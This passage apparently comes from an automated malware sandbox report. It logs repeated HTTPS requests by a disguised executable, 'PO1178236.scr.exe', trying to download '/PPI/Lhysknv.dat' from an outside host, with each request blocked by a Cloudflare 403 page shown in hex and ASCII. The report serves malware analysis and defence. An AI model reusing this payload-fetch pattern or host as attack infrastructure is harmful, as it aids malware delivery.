72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c Data Ascii: border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b616dca15e60</strong></span> <span class="cf-footer-separator sm:hidden">&bul
2025-01-09 07:28:34 UTC	994	IN	Data Raw: 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 31 36 64 63 61 31 35 65 36 30 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4e 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 Data Ascii: cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b616dca15e60',t:'MTczNjQwNzcxNC4wMDAwMDA='};var a=doc
2025-01-09 07:28:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49753	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:34 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:35 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:49 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6gYGfBQ%2Feno3LmVKcSTbfYSWI5t1L8ETuct7%2Fr3rHO4AMW6oyjR1IJzOhDntedEbhQe%2FFbMzHZoqspcead5SOiqtc6yypa3z3U%2BdJQ8QX8XCptvpYKUZA8jD%2F8i5CdA2CFGt8ZXObE6F5Tdt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b61aaecc41ba-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1685&min_rtt=1680&rtt_var=641&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1691772&cwnd=192&unsent_bytes=0&cid=fe74dbbe95d73829&ts=130&x=0"
2025-01-09 07:28:35 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:35 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:35 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:35 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 31 61 61 65 63 63 34 31 62 61 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b61aaecc41ba</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:35 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 31 61 61 65 63 63 34 31 62 61 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4e 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b61aaecc41ba',t:'MTczNjQwNzcxNC4wMDAwMDA='};v
2025-01-09 07:28:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49754	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:35 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:35 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:50 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hp7PZIvQz8vchznEE1o6mWpbAkWpTkx7rUFuihKJ%2B35UEd3oQWZqas%2BpD1Iu9H6ceiaXIWuMWhDAvBPRZgkK8KkOIwuyK%2B5HzSmk22EfM%2FzZLnMr7JLkOIFT1o7%2BrSfqlPPiVdDHXopbjFTV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b61e9c0e5e6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2251&min_rtt=2055&rtt_var=911&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1420924&cwnd=224&unsent_bytes=0&cid=0c8c7f096d70b4b9&ts=147&x=0"
2025-01-09 07:28:35 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:35 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:35 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:35 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 31 65 39 63 30 65 35 65 36 61 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b61e9c0e5e6a</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:35 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 31 65 39 63 30 65 35 65 36 61 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4e 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b61e9c0e5e6a',t:'MTczNjQwNzcxNS4wMDAwMDA='};v
2025-01-09 07:28:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49755	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:36 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:36 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:51 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VHxK%2BRIEJ2HOW3Aiam77DM1kZQWEcHcY%2BQmzElfRHpXM9tzZC4PWTyFlvGLHtjemhJu00ksTta69cpfz2lOeFvX0XZNWruEtQ9FYKWdPi%2BFtpmSrpYSWcGmV2%2FpMasxdwt%2FsT6ZvMOMFH%2Fkr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6224bc24246-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2495&min_rtt=2494&rtt_var=937&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1166600&cwnd=229&unsent_bytes=0&cid=e8fd1f48da63966d&ts=134&x=0"
2025-01-09 07:28:36 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:36 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:28:36 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:28:36 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 32 32 34 62 63 32 34 32 34 36 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6224bc24246</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:28:36 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 32 32 34 62 63 32 34 32 34 36 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4e 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6224bc24246',t:'MTczNjQwNzcxNi4wMDAwMDA='}
2025-01-09 07:28:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49756	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:36 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
